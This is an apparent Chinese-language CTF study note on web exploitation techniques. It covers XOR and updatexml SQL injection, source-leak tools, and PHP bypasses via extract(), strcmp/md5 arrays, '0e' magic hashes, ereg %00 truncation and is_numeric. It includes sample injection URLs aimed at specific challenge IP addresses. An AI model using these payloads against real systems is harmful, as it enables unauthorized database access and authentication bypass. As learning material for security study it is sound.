zoukankan      html  css  js  c++  java
  • CTF知识点总结(二)

    异或注入

    异或注入:两个条件相同(同真或同假)即为假。

    http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+
    

    如上,如果union被过滤,则 length('union')!=0 为假,那么返回页面正常。

    updatexml() 函数报错注入

    UPDATEXML (XML_document, XPath_string, new_value);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
    第三个参数:new_value,String格式,替换查找到的符合条件的数据
    作用:改变文档中符合条件的节点的值

    注入语句示例:

    select name from user where id=1 and updatexml(1,concat('~',(select database()),'~'),3);
    

    注入原理:这个函数的第二个参数需要Xpath格式的字符串,则传入错误的格式会爆出错误,在内的语句会以爆出执行后的结果

    源文件泄露利用

    .DS_Store文件泄露:利用工具----ds_store_exp,github地址

    .git文件泄露:利用工具----GitHack,github地址

    extract变量覆盖

    extract()函数:从数组中将变量导入当前符号表。

    定义:

    • 从数组中将变量导入到当前的符号表
    • 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量

    语法:extract(array,extract_rules,prefix)

    • array,必需,要使用的数组
    <?php
    $a="hello";
    $b= array('a' =>"world" ,"b"=>"gogogo");
    extract($b);
    echo $a;		//world
    ?>
    

    如上所示,会存在一个覆盖漏洞。

    strcmp()漏洞

    <?php
    echo strcmp("Hello world!","Hello world!"); // 两字符串相等  //0
    echo strcmp("Hello world!","Hello"); // string1 大于 string2  //7
    echo strcmp("Hello world!","Hello world! Hello!"); // string1 小于 string2  //-7
    ?>
    

    ​ 如上所示,strcmp()用于比较字符串大小,但是strcmp()在比较字符串和数组的时候直接返回0,可用于绕过。

    md5()漏洞

    $_GET['name'] != $_GET['password']
    MD5($_GET['name']) == MD5($_GET['password'])
    MD5($_GET['name']) === MD5($_GET['password'])
    

    ​ PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

    以下值在md5加密后以0E开头:

    • QNKCDZO
    • 240610708
    • s878926199a
    • s155964671a
    • s214587387a
    • s214587387a

    另外,MD5()无法处理数组,当比较数组时,会返回0,也能用于绕过,name[]=a&password[]=b

    ereg()截断漏洞

    ereg()与strpos()两个函数同样不能用数组作为参数,否则返回NULL。

    另外,ereg()存在截断漏洞,使用%00可以截断正则匹配。

    另外,当长度与数值矛盾时,可以采用科学计数法表示,1e8=100000000。

    弱类型整数大小比较绕过

    $temp = $_GET['password'];
    is_numeric($temp)?die("no numeric"):NULL;
    if($temp>1336){
    echo $flag;
    

    is_numeric()同样可以用数组绕过、%00截断、添加其他字符

    http://123.206.87.240:9009/22.php?password[]=1
    http://123.206.87.240:9009/22.php?password=9999a
    http://123.206.87.240:9009/22.php?password=9999%00
    
  • 相关阅读:
    配置Harbor支持https功能实战篇
    Docker自建仓库之Harbor部署实战
    Docker自建仓库之Harbor高可用部署实战篇
    Docker自建仓库之Docker Registry部署实战
    Docker Hub镜像公共仓库使用
    阿里云镜像公共仓库使用
    自定义haproxy镜像
    HAProxy常见的安装方式
    自定义tomcat业务镜像
    自定义Tomcat的基础镜像
  • 原文地址:https://www.cnblogs.com/iloveacm/p/13325276.html
Copyright © 2011-2022 走看看